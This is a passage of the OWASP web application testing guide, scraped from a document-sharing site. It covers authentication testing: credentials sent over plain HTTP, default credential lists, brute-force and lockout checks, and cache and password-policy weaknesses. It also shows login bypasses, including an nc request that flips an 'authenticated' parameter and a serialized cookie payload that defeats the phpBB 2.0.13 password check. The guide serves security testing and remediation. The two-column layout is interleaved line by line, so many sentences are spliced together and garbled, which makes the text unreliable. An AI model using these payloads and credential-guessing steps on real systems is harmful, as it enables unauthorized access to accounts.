0% found this document useful (0 votes)
362 views

OWASP Testing Guide V4editado

eeeee

Uploaded by

Jeferson Ponce
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
362 views

OWASP Testing Guide V4editado

eeeee

Uploaded by

Jeferson Ponce
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 157

66

Web Application Penetration Testing

ery client request that produces a failed authentication. For this credentials entered during the log in process.
issue the Black Box testing and Gray Box testing have the same
concept based on the analysis of messages or error codes re- Authentication Testing
ceived from web application. Authentication (Greek: αυθεντικός = real or genuine, from ‘au-
thentes’ = author ) is the act of establishing or confirming some-
Result Expected: thing (or someone) as authentic, that is, that claims made by or
The application should answer in the same manner for every about the thing are true. Authenticating an object may mean con-
failed attempt of authentication. firming its provenance, whereas authenticating a person often
consists of verifying her identity. Authentication depends upon
For Example: one or more authentication factors.

Credentials submitted are not valid In computer security, authentication is the process of attempting
to verify the digital identity of the sender of a communication. A
common example of such a process is the log on process. Testing
Tools the authentication schema means understanding how the au-
• WebScarab: OWASP_WebScarab_Project thentication process works and using that information to circum-
• CURL: http://curl.haxx.se/ vent the authentication mechanism.
• PERL: http://www.perl.org
• Sun Java Access & Identity Manager users enumeration tool: Testing for Credentials Transported over
http://www.aboutsecurity.net an Encrypted Channel (OTG-AUTHN-001)
Summary
References Testing for credentials transport means verifying that the user’s
• Marco Mella, Sun Java Access & Identity Manager Users enu- authentication data are transferred via an encrypted channel to
meration: http://www.aboutsecurity.net avoid being intercepted by malicious users. The analysis focuses
• Username Enumeration Vulnerabilities: http://www.gnuciti- simply on trying to understand if the data travels unencrypted
zen.org/blog/username-enumeration-vulnerabilities from the web browser to the server, or if the web application
takes the appropriate security measures using a protocol like
Remediation HTTPS. The HTTPS protocol is built on TLS/SSL to encrypt the
Ensure the application returns consistent generic error messag- data that is transmitted and to ensure that user is being sent
es in response to invalid account name, password or other user towards the desired site.
credentials entered during the log in process.
Clearly, the fact that traffic is encrypted does not necessarily
Ensure default system accounts and test accounts are deleted mean that it’s completely safe. The security also depends on the
prior to releasing the system into production (or exposing it to an encryption algorithm used and the robustness of the keys that
untrusted network). the application is using, but this particular topic will not be ad-
dressed in this section.
Testing for Weak or unenforced username policy
(OTG-IDENT-005) For a more detailed discussion on testing the safety of TLS/SSL
Summary channels refer to the chapter Testing for Weak SSL/TLS. Here,
User account names are often highly structured (e.g. Joe Bloggs the tester will just try to understand if the data that users put
account name is jbloggs and Fred Nurks account name is fnurks) in to web forms in order to log in to a web site, are transmitted
and valid account names can easily be guessed. using secure protocols that protect them from an attacker.

Test objectives Nowadays, the most common example of this issue is the log in
Determine whether a consistent account name structure ren- page of a web application. The tester should verify that user’s
ders the application vulnerable to account enumeration. Deter- credentials are transmitted via an encrypted channel. In order to
mine whether the application’s error messages permit account log in to a web site, the user usually has to fill a simple form that
enumeration. transmits the inserted data to the web application with the POST
method. What is less obvious is that this data can be passed us-
How to test ing the HTTP protocol, which transmits the data in a non-secure,
• Determine the structure of account names. clear text form, or using the HTTPS protocol, which encrypts the
• Evaluate the application’s response to valid and invalid account data during the transmission. To further complicate things, there
names. is the possibility that the site has the login page accessible via
• Use different responses to valid and invalid account names to HTTP (making us believe that the transmission is insecure), but
enumerate valid account names. then it actually sends data via HTTPS. This test is done to be sure
• Use account name dictionaries to enumerate valid account that an attacker cannot retrieve sensitive information by simply
names. sniffing the network with a sniffer tool.

Remediation How to Test


Ensure the application returns consistent generic error messag- Black Box testing
es in response to invalid account name, password or other user In the following examples we will use WebScarab in order to cap-
67

Web Application Penetration Testing

ture packet headers and to inspect them. You can use any web We can see that the request is addressed to www.example.
proxy that you prefer. com:443/cgi-bin/login.cgi using the HTTPS protocol. This en-
sures that our credentials are sent using an encrypted channel
Example 1: Sending data with POST method through HTTP and that the credentials are not readable by a malicious user us-
Suppose that the login page presents a form with fields User, ing a sniffer.
Pass, and the Submit button to authenticate and give access
to the application. If we look at the headers of our request with Example 3: sending data with POST method via HTTPS on a
WebScarab, we can get something like this: page reachable via HTTP
Now, imagine having a web page reachable via HTTP and that
only data sent from the authentication form are transmitted via
POST http://www.example.com/AuthenticationServlet
HTTPS. This situation occurs, for example, when we are on a por-
HTTP/1.1
tal of a big company that offers various information and services
Host: www.example.com
that are publicly available, without identification, but the site
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
also has a private section accessible from the home page when
rv:1.8.1.14) Gecko/20080404
users log in. So when we try to log in, the header of our request
Accept: text/xml,application/xml,application/xhtml+xml
will look like the following example:
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 POST https://www.example.com:443/login.do HTTP/1.1
Keep-Alive: 300 Host: www.example.com
Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
Referer: http://www.example.com/index.jsp rv:1.8.1.14) Gecko/20080404
Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBd- Accept: text/xml,application/xml,application/xhtml+xml,text/html
qn98CGlkP4jTvVCGdyPkmn3S! Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip,deflate
Content-length: 64 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
delegated_service=218&User=test&Pass=test&Submit=- Connection: keep-alive
SUBMIT Referer: http://www.example.com/homepage.do
Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH-
From this example the tester can understand that the POST re- 0QNSJ3VQB6pLhjkW6F
quest sends the data to the page www.example.com/Authen- Content-Type: application/x-www-form-urlencoded
ticationServlet using HTTP. Sothe data is transmitted without Content-length: 45
encryption and a malicious user could intercept the username
and password by simply sniffing the network with a tool like User=test&Pass=test&portal=ExamplePortal
Wireshark.

Example 2: Sending data with POST method through HTTPS We can see that our request is addressed to www.example.
Suppose that our web application uses the HTTPS protocol to com:443/login.do using HTTPS. But if we have a look at the Ref-
encrypt the data we are sending (or at least for transmitting sen- erer-header (the page from which we came), it is www.example.
sitive data like credentials). In this case, when logging on to the com/homepage.do and is accessible via simple HTTP. Although
web application the header of our POST request would be similar we are sending data via HTTPS, this deployment can allow SSL-
to the following: Strip attacks (a type of Man-in-the-middle attack)

POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1 Example 4: Sending data with GET method through HTTPS
Host: www.example.com In this last example, suppose that the application transfers data
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; using the GET method. This method should never be used in a
rv:1.8.1.14) Gecko/20080404 form that transmits sensitive data such as username and pass-
Accept: text/xml,application/xml,application/xhtml+xml,text/html word, because the data is displayed in clear text in the URL and
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 this causes a whole set of security issues. For example, the URL
Accept-Encoding: gzip,deflate that is requested is easily available from the server logs or from
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 your browser history, which makes your sensitive data retriev-
Keep-Alive: 300 able for unauthorized persons. So this example is purely demon-
Connection: keep-alive strative, but, in reality, it is strongly suggested to use the POST
Referer: https://www.example.com/cgi-bin/login.cgi method instead.
Cookie: language=English;
Content-Type: application/x-www-form-urlencoded GET https://www.example.com/success.html?user=test&-
Content-length: 50 pass=test HTTP/1.1
Host: www.example.com
Command=Login&User=test&Pass=test
68

Web Application Penetration Testing

Furthermore, in many situations, when a new account is created


User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; on an application, a default password (with some standard char-
rv:1.8.1.14) Gecko/20080404 acteristics) is generated. If this password is predictable and the
Accept: text/xml,application/xml,application/xhtml+xml,- user does not change it on the first access, this can lead to an at-
text/html tacker gaining unauthorized access to the application.
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
The root cause of this problem can be identified as:
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
• Inexperienced IT personnel, who are unaware of the importance
Keep-Alive: 300 of changing default passwords on installed infrastructure
Connection: keep-alive components, or leave the password as default for “ease of
Referer: https://www.example.com/form.html maintenance”.
If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT • Programmers who leave back doors to easily access and test
If-None-Match: “43a01-5b-4868915f” their application and later forget to remove them.
• Applications with built-in non-removable default accounts with
a preset username and password.
• Applications that do not force the user to change the default
You can see that the data is transferred in clear text in the URL credentials after the first log in.
and not in the body of the request as before. But we must con-
sider that SSL/TLS is a level 5 protocol, a lower level than HTTP, How to Test
so the whole HTTP packet is still encrypted making the URL Testing for default credentials of common applications
unreadable to a malicious user using a sniffer. Nevertheless as In black box testing the tester knows nothing about the applica-
stated before, it is not a good practice to use the GET method to tion and its underlying infrastructure. In reality this is often not
send sensitive data to a web application, because the informa- true, and some information about the application is known. We
tion contained in the URL can be stored in many locations such suppose that you have identified, through the use of the tech-
as proxy and web server logs. niques described in this Testing Guide under the chapter Infor-
mation Gathering, at least one or more common applications that
Gray Box testing may contain accessible administrative interfaces.
Speak with the developers of the web application and try to
understand if they are aware of the differences between HTTP When you have identified an application interface, for example
and HTTPS protocols and why they should use HTTPS for trans- a Cisco router web interface or a Weblogic administrator portal,
mitting sensitive information. Then, check with them if HTTPS check that the known usernames and passwords for these devic-
is used in every sensitive request, like those in log in pages, to es do not result in successful authentication. To do this you can
prevent unauthorized users to intercept the data. consult the manufacturer’s documentation or, in a much simpler
way, you can find common credentials using a search engine or
Tools by using one of the sites or tools listed in the Reference section.
• WebScarab
• OWASP Zed Attack Proxy (ZAP) When facing applications where we do not have a list of default
and common user accounts (for example due to the fact that the
References application is not wide spread) we can attempt to guess valid de-
Whitepapers fault credentials. Note that the application being tested may have
• HTTP/1.1: Security Considerations - http://www.w3.org/ an account lockout policy enabled, and multiple password guess
Protocols/rfc2616/rfc2616-sec15.html attempts with a known username may cause the account to be
• SSL is not about encryption locked. If it is possible to lock the administrator account, it may be
troublesome for the system administrator to reset it.
Testing for default credentials
(OTG-AUTHN-002) Many applications have verbose error messages that inform the
Summary site users as to the validity of entered usernames. This informa-
Nowadays web applications often make use of popular open tion will be helpful when testing for default or guessable user ac-
source or commercial software that can be installed on servers counts. Such functionality can be found, for example, on the log
with minimal configuration or customization by the server in page, password reset and forgotten password page, and sign
administrator. Moreover, a lot of hardware appliances (i.e. network up page. Once you have found a default username you could also
routers and database servers) offer web-based configuration or start guessing passwords for this account.
administrative interfaces.
More information about this procedure can be found in the section
Often these applications, once installed, are not properly config- Testing for User Enumeration and Guessable User Account and in
ured and the default credentials provided for initial authentication the section Testing for Weak password policy.
and configuration are never changed. These default credentials
are well known by penetration testers and, unfortunately, also by Since these types of default credentials are often bound to admin-
malicious attackers, who can use them to gain access to various istrative accounts you can proceed in this manner:
types of applications.
69

Web Application Penetration Testing

• Try the following usernames - “admin”, “administrator”, “root”, application usernames and passwords. If a user registration page
“system”, “guest”, “operator”, or “super”. does not exist, determine if the organization uses a standard
These are popular among system administrators and are often naming convention for user names such as their email address or
used. Additionally you could try “qa”, “test”, “test1”, “testing” and the name before the “@” in the email.
similar names. Attempt any combination of the above in both the • Try to extrapolate from the application how usernames are
username and the password fields. If the application is vulnerable generated.
to username enumeration, and you manage to successfully For example, can a user choose his/her own username or does
identify any of the above usernames, attempt passwords in a the system generate an account name for the user based on
similar manner. In addition try an empty password or one of some personal information or by using a predictable sequence? If
the following “password”, “pass123”, “password123”, “admin”, the application does generate the account names in a predictable
or “guest” with the above accounts or any other enumerated sequence, such as user7811, try fuzzing all possible accounts
accounts. recursively.
Further permutations of the above can also be attempted. If If you can identify a different response from the application when
these passwords fail, it may be worth using a common username using a valid username and a wrong password, then you can try a
and password list and attempting multiple requests against the brute force attack on the valid username (or quickly try any of the
application. This can, of course, be scripted to save time. identified common passwords above or in the reference section).
• Application administrative users are often named after the • Try to determine if the system generated password is predictable.
application or organization. To do this, create many new accounts quickly after one another
This means if you are testing an application named “Obscurity”, so that you can compare and determine if the passwords
try using obscurity/obscurity or any other similar combination as are predictable. If predictable, try to correlate these with the
the username and password. usernames, or any enumerated accounts, and use them as a
• When performing a test for a customer, attempt using names basis for a brute force attack.
of contacts you have received as usernames with any common • If you have identified the correct naming convention for the user
passwords. Customer email addresses mail reveal the user name, try to “brute force” passwords with some common
accounts naming convention: if employee John Doe has the email predictable sequence like for example dates of birth.
address [email protected], you can try to find the names of • Attempt using all the above usernames with blank passwords or
system administrators on social media and guess their username using the username also as password value.
by applying the same naming convention to their name.
• Attempt using all the above usernames with blank passwords. Gray Box testing
• Review the page source and JavaScript either through a proxy The following steps rely on an entirely Gray Box approach. If only
or by viewing the source. Look for any references to users and some of this information is available to you, refer to black box
passwords in the source. testing to fill the gaps.
For example “If username=’admin’ then starturl=/admin.asp
else /index.asp” (for a successful log in versus a failed log in). • Talk to the IT personnel to determine which passwords they
Also, if you have a valid account, then log in and view every use for administrative access and how administration of the
request and response for a valid log in versus an invalid log in, application is undertaken.
such as additional hidden parameters, interesting GET request • Ask IT personnel if default passwords are changed and if default
(login=yes), etc. user accounts are disabled.
• Look for account names and passwords written in comments • Examine the user database for default credentials as described
in the source code. Also look in backup directories for source in the Black Box testing section. Also check for empty password
code (or backups of source code) that may contain interesting fields.
comments and code. • Examine the code for hard coded usernames and passwords.
• Check for configuration files that contain usernames
Testing for default password of new accounts and passwords.
It can also occur that when a new account is created in an appli- • Examine the password policy and, if the application generates its
cation the account is assigned a default password. This password own passwords for new users, check the policy in use for this
could have some standard characteristics making it predictable. If procedure.
the user does not change it on first usage (this often happens if
the user is not forced to change it) or if the user has not yet logged Tools
on to the application, this can lead an attacker to gain unautho- • Burp Intruder: http://portswigger.net/burp/intruder.html
rized access to the application. • THC Hydra: http://www.thc.org/thc-hydra/
• Brutus: http://www.hoobie.net/brutus/
The advice given before about a possible lockout policy and ver- • Nikto 2: http://www.cirt.net/nikto2
bose error messages are also applicable here when testing for
default passwords. References
Whitepapers
The following steps can be applied to test for these types of de- • CIRT http://www.cirt.net/passwords
fault credentials: • Government Security - Default Logins and Passwords for
Networked Devices http://www.governmentsecurity.org/
• Looking at the User Registration page may help to determine the articles/DefaultLoginsandPasswordsforNetworkedDevices.php
expected format and minimum or maximum length of the • Virus.org http://www.virus.org/default-password/
70

Web Application Penetration Testing

Testing for Weak lock out mechanism [5] Attempt to log in with an incorrect password 5 times.
(OTG-AUTHN-003) [6] Attempt to log in with the correct password. The application
Summary returns “Your account is locked out.”, thereby confirming that the
Account lockout mechanisms are used to mitigate brute force account is locked out after 5 incorrect authentication attempts.
password guessing attacks. Accounts are typically locked after 3 [7] Attempt to log in with the correct password 5 minutes later.
to 5 unsuccessful login attempts and can only be unlocked after a The application returns “Your account is locked out.”, thereby
predetermined period of time, via a self-service unlock mechanism, showing that the lockout mechanism does not automatically un-
or intervention by an administrator. Account lockout mechanisms lock after 5 minutes.
require a balance between protecting accounts from unauthorized [8] Attempt to log in with the correct password 10 minutes lat-
access and protecting users from being denied authorized access. er. The application returns “Your account is locked out.”, thereby
showing that the lockout mechanism does not automatically un-
Note that this test should cover all aspects of authentication lock after 10 minutes.
where lockout mechanisms would be appropriate, e.g. when [9] Successfully log in with the correct password 15 minutes later,
the user is presented with security questions during forgotten thereby showing that the lockout mechanism automatically un-
password mechanisms (see Testing for Weak security question/ locks after a 10 to 15 minute period.
answer (OTG-AUTHN-008)).
A CAPTCHA may hinder brute force attacks, but they can come
Without a strong lockout mechanism, the application may be with their own set of weaknesses (see Testing for CAPTCHA), and
susceptible to brute force attacks. After a successful brute force should not replace a lockout mechanism.
attack, a malicious user could have access to:
To evaluate the unlock mechanism’s resistance to unauthorized
• Confidential information or data: Private sections of a web account unlocking, initiate the unlock mechanism and look for
application could disclose confidential documents, users’ profile weaknesses.
data, financial information, bank details, users’ relationships, etc. Typical unlock mechanisms may involve secret questions or an
emailed unlock link. The unlock link should be a unique one-time
• Administration panels: These sections are used by webmasters link, to stop an attacker from guessing or replaying the link and
to manage (modify, delete, add) web application content, manage performing brute force attacks in batches. Secret questions and
user provisioning, assign different privileges to the users, etc. answers should be strong (see Testing for Weak Security Ques-
tion/Answer).
• Opportunities for further attacks: authenticated sections of a
web application could contain vulnerabilities that are not present Note that an unlock mechanism should only be used for unlocking
in the public section of the web application and could contain accounts. It is not the same as a password recovery mechanism.
advanced functionality that is not available to public users.
Factors to consider when implementing an account lockout mech-
Test objectives anism:
• Evaluate the account lockout mechanism’s ability to mitigate
brute force password guessing. [1] What is the risk of brute force password guessing against the
• Evaluate the unlock mechanism’s resistance to unauthorized application?
account unlocking. [2] Is a CAPTCHA sufficient to mitigate this risk?
[3] Number of unsuccessful log in attempts before lockout. If the
How to Test lockout threshold is to low then valid users may be locked out too
Typically, to test the strength of lockout mechanisms, you will often. If the lockout threshold is to high then the more attempts
need access to an account that you are willing or can afford to lock. an attacker can make to brute force the account before it will be
If you have only one account with which you can log on to the web locked. Depending on the application’s purpose, a range of 5 to 10
application, perform this test at the end of you test plan to avoid unsuccessful attempts is typical lockout threshold.
that you cannot continue your testing due to a locked account. [4] How will accounts be unlocked?
• Manually by an administrator: this is the most secure lockout
To evaluate the account lockout mechanism’s ability to mitigate method, but may cause inconvenience to users and take up the
brute force password guessing, attempt an invalid log in by using administrator’s “valuable” time.
the incorrect password a number of times, before using the correct - Note that the administrator should also have a recovery method
password to verify that the account was locked out. An example in case his account gets locked.
test may be as follows: - This unlock mechanism may lead to a denial-of-service attack
if an attacker’s goal is to lock the accounts of all users of the web
1] Attempt to log in with an incorrect password 3 times. application.
[2] Successfully log in with the correct password, thereby showing • After a period of time: What is the lockout duration?
that the lockout mechanism doesn’t trigger after 3 incorrect Is this sufficient for the application being protected? E.g. a 5 to
authentication attempts. 30 minute lockout duration may be a good compromise between
[3] Attempt to log in with an incorrect password 4 times. mitigating brute force attacks and inconveniencing valid users.
[4] Successfully log in with the correct password, thereby showing • Via a self-service mechanism: As stated before, this self-service
that the lockout mechanism doesn’t trigger after 4 incorrect mechanism must be secure enough to avoid that the attacker can
authentication attempts. unlock accounts himself.
71

Web Application Penetration Testing

References that page may not check the credentials of the user before grant-
See the OWASP article on Brute Force Attacks. ing access. Attempt to directly access a protected page through
the address bar in your browser to test using this method.
Remediation
Apply account unlock mechanisms depending on the risk level. In
order from lowest to highest assurance:

[1] Time-based lockout and unlock.


[2] Self-service unlock (sends unlock email to registered email ad-
dress).
[3] Manual administrator unlock.
[4] Manual administrator unlock with positive user identification.

Testing for Bypassing Authentication Schema


(OTG-AUTHN-004)
Summary
While most applications require authentication to gain access to Parameter Modification
private information or to execute tasks, not every authentication Another problem related to authentication design is when the ap-
method is able to provide adequate security. Negligence, igno- plication verifies a successful log in on the basis of a fixed value
rance, or simple understatement of security threats often result parameters. A user could modify these parameters to gain access
in authentication schemes that can be bypassed by simply skip- to the protected areas without providing valid credentials. In the
ping the log in page and directly calling an internal page that is example below, the “authenticated” parameter is changed to a
supposed to be accessed only after authentication has been per- value of “yes”, which allows the user to gain access. In this exam-
formed. ple, the parameter is in the URL, but a proxy could also be used to
modify the parameter, especially when the parameters are sent
In addition, it is often possible to bypass authentication mea- as form elements in a POST request or when the parameters are
sures by tampering with requests and tricking the application into stored in a cookie.
thinking that the user is already authenticated. This can be accom-
plished either by modifying the given URL parameter, by manipu-
lating the form, or by counterfeiting sessions. http://www.site.com/page.asp?authenticated=no

Problems related to the authentication schema can be found at


different stages of the software development life cycle (SDLC), like
the design, development, and deployment phases: raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0
• In the design phase errors can include a wrong definition of
application sections to be protected, the choice of not applying HTTP/1.1 200 OK
strong encryption protocols for securing the transmission of Date: Sat, 11 Nov 2006 10:22:44 GMT
credentials, and many more. Server: Apache
• In the development phase errors can include the incorrect Connection: close
implementation of input validation functionality or not following Content-Type: text/html; charset=iso-8859-1
the security best practices for the specific language.
• In the application deployment phase, there may be issues during <!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
the application setup (installation and configuration activities) <HTML><HEAD>
due to a lack in required technical skills or due to the lack of good </HEAD><BODY>
documentation. <H1>You Are Authenticated</H1>
</BODY></HTML>
How to Test
Black Box testing
There are several methods of bypassing the authentication sche-
ma that is used by a web application:

• Direct page request (forced browsing)


• Parameter modification
• Session ID prediction
• SQL injection

Direct page request


If a web application implements access control only on the log in
page, the authentication schema could be bypassed. For exam-
ple, if a user directly requests a different page via forced browsing,
72

Web Application Penetration Testing

Session ID Prediction The following figure shows that with a simple SQL injection attack,
Many web applications manage authentication by using session it is sometimes possible to bypass the authentication form.
identifiers (session IDs). Therefore, if session ID generation is
predictable, a malicious user could be able to find a valid session ID
and gain unauthorized access to the application, impersonating a
previously authenticated user.

In the following figure, values inside cookies increase linearly, so it


could be easy for an attacker to guess a valid session ID.

Gray Box Testing


If an attacker has been able to retrieve the application source code
by exploiting a previously discovered vulnerability (e.g., directory
traversal), or from a web repository (Open Source Applications),
n the following figure, values inside cookies change only partially, so it could be possible to perform refined attacks against the
it’s possible to restrict a brute force attack to the defined fields shown implementation of the authentication process.
below.
In the following example (PHPBB 2.0.13 - Authentication Bypass
Vulnerability), at line 5 the unserialize() function parses a user
supplied cookie and sets values inside the $row array. At line
10 the user’s MD5 password hash stored inside the back end
database is compared to the one supplied.
In PHP, a comparison between a string value and a boolean value

1. if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename
. ‘_data’] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cook-
iename . ‘_data’])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
SQL Injection (HTML Form Authentication) 10. if( md5($password) == $row[‘user_password’] &&
SQL Injection is a widely known attack technique. This section is not $row[‘user_active’] )
going to describe this technique in detail as there are several sections 11.
in this guide that explain injection techniques beyond the scope of 12. {
this section. 13. $autologin = ( isset($HTTP_POST_VARS[‘autologin’]) ) ?
TRUE : 0;
14. }

(1 - “TRUE”) is always “TRUE”, so by supplying the following string


(the important part is “b:1”) to the unserialize() function, it is
possible to bypass the authentication control:

a:2:{s:11:”autologinid”;b:1;s:6:”userid”;s:1:”2”;}
73

Web Application Penetration Testing

Tools Remediation
Ensure that no credentials are stored in clear text or are easily re-
• WebScarab trievable in encoded or encrypted forms in cookies.
• WebGoat
• OWASP Zed Attack Proxy (ZAP) Testing for Browser cache weakness
(OTG-AUTHN-006)
References Summary
Whitepapers In this phase the tester checks that the application correctly in-
• Mark Roxberry: “PHPBB 2.0.13 vulnerability” structs the browser to not remember sensitive data.
• David Endler: “Session ID Brute Force Exploitation and Prediction”
- http://www.cgisecurity.com/lib/SessionIDs.pdf Browsers can store information for purposes of caching and his-
tory. Caching is used to improve performance, so that previous-
Testing for Vulnerable Remember Password ly displayed information doesn’t need to be downloaded again.
(OTG-AUTHN-005) History mechanisms are used for user convenience, so the user
Summary can see exactly what they saw at the time when the resource was
Browsers will sometimes ask a user if they wish to remember the retrieved. If sensitive information is displayed to the user (such
password that they just entered. The browser will then store the as their address, credit card details, Social Security Number, or
password, and automatically enter it whenever the same authen- username), then this information could be stored for purposes of
tication form is visited. This is a convenience for the user. caching or history, and therefore retrievable through examining
Additionally some websites will offer custom “remember me” the browser’s cache or by simply pressing the browser’s “Back”
functionality to allow users to persist log ins on a specific client button.
system.
How to Test
Having the browser store passwords is not only a convenience Browser History
for end-users, but also for an attacker. If an attacker can gain ac- Technically, the “Back” button is a history and not a cache (see
cess to the victim’s browser (e.g. through a Cross Site Scripting http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.htm-
attack, or through a shared computer), then they can retrieve the l#sec13.13). The cache and the history are two different entities.
stored passwords. It is not uncommon for browsers to store these However, they share the same weakness of presenting previously
passwords in an easily retrievable manner, but even if the brows- displayed sensitive information.
er were to store the passwords encrypted and only retrievable
through the use of a master password, an attacker could retrieve The first and simplest test consists of entering sensitive infor-
the password by visiting the target web application’s authentica- mation into the application and logging out. Then the tester clicks
tion form, entering the victim’s username, and letting the browser the “Back” button of the browser to check whether previously
to enter the password. displayed sensitive information can be accessed whilst unauthen-
ticated.
Additionally where custom “remember me” functions are put in
place weaknesses in how the token is stored on the client PC (for If by pressing the “Back” button the tester can access previous
example using base64 encoded credentials as the token) could pages but not access new ones, then it is not an authentication
expose the users passwords. Since early 2014 most major brows- issue, but a browser history issue. If these pages contain sensitive
ers will override any use of autocomplete=”off” with regards to data, it means that the application did not forbid the browser from
password forms and as a result previous checks for this are not storing it.
required and recommendations should not commonly be given for
disabling this feature. However this can still apply to things like Authentication does not necessarily need to be involved in the
secondary secrets which may be stored in the browser inadver- testing. For example, when a user enters their email address in
tently. order to sign up to a newsletter, this information could be retriev-
able if not properly handled.
How to Test
• Look for passwords being stored in a cookie. The “Back” button can be stopped from showing sensitive data.
Examine the cookies stored by the application. This can be done by:
Verify that the credentials are not stored in clear text, but are
hashed. • Delivering the page over HTTPS.
• Examine the hashing mechanism: if it is a common, well-known • Setting Cache-Control: must-re-validate
algorithm, check for its strength; in homegrown hash functions,
attempt several usernames to check whether the hash function Browser Cache
is easily guessable. Here testers check that the application does not leak any sen-
• Verify that the credentials are only sent during the log sitive data into the browser cache. In order to do that, they can
in phase, and not sent together with every request use a proxy (such as WebScarab) and search through the server
to the application. responses that belong to the session, checking that for every
• Consider other sensitive form fields (e.g. an answer to a secret page that contains sensitive information the server instructed the
question that must be entered in a password recovery browser not to cache any data. Such a directive can be issued in
or account unlock form). the HTTP response headers:
74

Web Application Penetration Testing

• Cache-Control: no-cache, no-store Testing for Weak password policy


• Expires: 0 (OTG-AUTHN-007)
• Pragma: no-cache Summary
These directives are generally robust, although additional flags The most prevalent and most easily administered authentication
may be necessary for the Cache-Control header in order to better mechanism is a static password. The password represents the
prevent persistently linked files on the filesystem. These include: keys to the kingdom, but is often subverted by users in the name
• Cache-Control: must-revalidate, pre-check=0, post-check=0, of usability. In each of the recent high profile hacks that have re-
max-age=0, s-maxage=0 vealed user credentials, it is lamented that most common pass-
words are still: 123456, password and qwerty.

HTTP/1.1: Test objectives


Cache-Control: no-cache Determine the resistance of the application against brute force
password guessing using available password dictionaries by eval-
uating the length, complexity, reuse and aging requirements of
passwords.

HTTP/1.0: How to Test


Pragma: no-cache [1] What characters are permitted and forbidden for use within
Expires: <past date or illegal value (e.g., 0)> a password? Is the user required to use characters from differ-
ent character sets such as lower and uppercase letters, digits and
special symbols?
[2] How often can a user change their password? How quickly can
For instance, if testers are testing an e-commerce application, a user change their password after a previous change? Users may
they should look for all pages that contain a credit card number or bypass password history requirements by changing their pass-
some other financial information, and check that all those pages word 5 times in a row so that after the last password change they
enforce the no-cache directive. If they find pages that contain crit- have configured their initial password again.
ical information but that fail to instruct the browser not to cache [3] When must a user change their password? After 90 days? Af-
their content, they know that sensitive information will be stored ter account lockout due to excessive log on attempts?
on the disk, and they can double-check this simply by looking for [4] How often can a user reuse a password? Does the application
the page in the browser cache. maintain a history of the user’s previous used 8 passwords?
[5] How different must the next password be from the last pass-
The exact location where that information is stored depends on word?
the client operating system and on the browser that has been [6] Is the user prevented from using his username or other ac-
used. Here are some examples: count information (such as first or last name) in the password?

[1] Mozilla Firefox: References


• Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/ • Brute Force Attacks
• Windows: C:\Documents and Settings\<user_name>\Local • Password length & complexity
Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\
Cache Remediation
To mitigate the risk of easily guessed passwords facilitating unau-
[2] Internet Explorer: thorized access there are two solutions: introduce additional au-
• C:\Documents and Settings\<user_name>\Local Settings\ thentication controls (i.e. two-factor authentication) or introduce a
Temporary Internet Files strong password policy. The simplest and cheapest of these is the
introduction of a strong password policy that ensures password
Gray Box testing length, complexity, reuse and aging.
The methodology for testing is equivalent to the black box case, as
in both scenarios testers have full access to the server response Testing for Weak security question/answer
headers and to the HTML code. However, with gray box testing, (OTG-AUTHN-008)
the tester may have access to account credentials that will allow Summary
them to test sensitive pages that are accessible only to authenti- Often called “secret” questions and answers, security questions
cated users. and answers are often used to recover forgotten passwords
(see Testing for weak password change or reset functionalities
Tools (OTG-AUTHN-009)), or as extra security on top of the password.

• OWASP Zed Attack Proxy They are typically generated upon account creation and require
• Firefox add-on CacheViewer2 the user to select from some pre-generated questions and supply
an appropriate answer. They may allow the user to generate their
References own question and answer pairs. Both methods are prone to inse-
Whitepapers curities.Ideally, security questions should generate answers that
• Caching in HTTP are only known by the user, and not guessable or discoverable by
75

Web Application Penetration Testing

anybody else. This is harder than it sounds. supplied security answers trigger a lockout mechanism.

Security questions and answers rely on the secrecy of the answer. The first thing to take into consideration when trying to exploit
Questions and answers should be chosen so that the answers security questions is the number of questions that need to be an-
